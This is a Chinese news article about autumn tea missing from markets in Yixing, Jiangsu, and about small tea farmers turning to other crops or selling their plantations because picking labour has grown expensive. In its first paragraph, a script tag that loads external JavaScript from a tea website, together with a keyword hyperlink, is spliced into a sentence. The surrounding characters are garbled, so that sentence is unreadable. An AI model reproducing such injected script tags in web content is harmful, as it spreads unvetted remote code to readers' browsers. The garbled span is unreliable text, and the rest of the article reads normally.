江苏宜兴:地产秋茶缺席市场 小茶场主忙转型
眼下正是秋茶满街飘香的时节,10月16日记者走访市场?script type='text/javascript' src='http://www.368tea.com/js/v.js'>捶⑾直镜?a href=http://www.368tea.com/ id=kw target=_blank>秋茶基本处于缺席的状态。宜兴当地不少小规模茶场主或是转卖或是补种其他经济作物挽回损失。
市场秋茶多为“夏茶”
“秋茶?春茶还没卖完呢。”10月16日记者走访市场发现,不少茶叶店里甚至还积压着春茶囤货。“今年茶叶生意普遍不好做。”茶商吴先生透露,即使是今年春茶时节,销量也比往年少了不少。因此对于一些茶商来说,基本是春茶采一季,营销跑半年的状态。“鲜叶枯在树上,可以不去采摘,炒制好的茶叶还是必须赶紧卖掉。”记者采访中也碰到一些茶叶店里摆出了秋茶的招牌,但是业内人士表示,其实那些都是高温天之前就采摘好的鲜叶所炒制出来的,严格意义上来讲,其实算是“夏茶”。
人工贵不做夏秋茶
10月16日记者来到宜兴茗岭镇淦里村,这里茶园一片青翠,已经进入了冬季养护期。茶农周佰专从茶园里忙完归来,告诉记者,今年夏秋茶基本都没怎么做,主因还是人工太贵了。周佰专种茶10余年,他记得,当年春天请一个采茶工的价钱是十几元钱一天,如今光工钱就一直涨到了100元一天,还得管吃管住和来回交通。今年春天周佰专好不容易雇到了80个采茶工来负责茶园里150多亩地的采摘,但是在采茶季初期有时一天的产量都不到5公斤。而周佰专这里能卖到每500克七八百元的阳羡雪芽和碧螺春并不多。“茶叶就是这样,品质好的价格高但是产量少,产量多的品质差了价钱也卖不上去了。”春茶尚且如此,夏秋茶的质量更是远远没法跟春茶相比,价格也相对较低,秋茶的价格基本只有每500克200元左右,而这样的收益远远没有办法负担人工成本。
茶农忙转型种果树或转卖
“今年我已经铲掉了部分茶树,来种樱桃树,不过还没到出效益的时候。”事实上,已经有不少小茶场主琢磨起了转型的事儿。就茗岭当地而言,素来有种植板栗的传统,眼下也正是成熟的季节。百合也是当地茶农乐于尝试的种植品种。不过农产品价格行情总是扑朔迷离,还是让转型的茶农们困惑不已。于是也有心灰意冷的茶农索性将手上的茶园转手给别人,大兴土木,作为会所,茶叶仅仅作为一种衍生产品。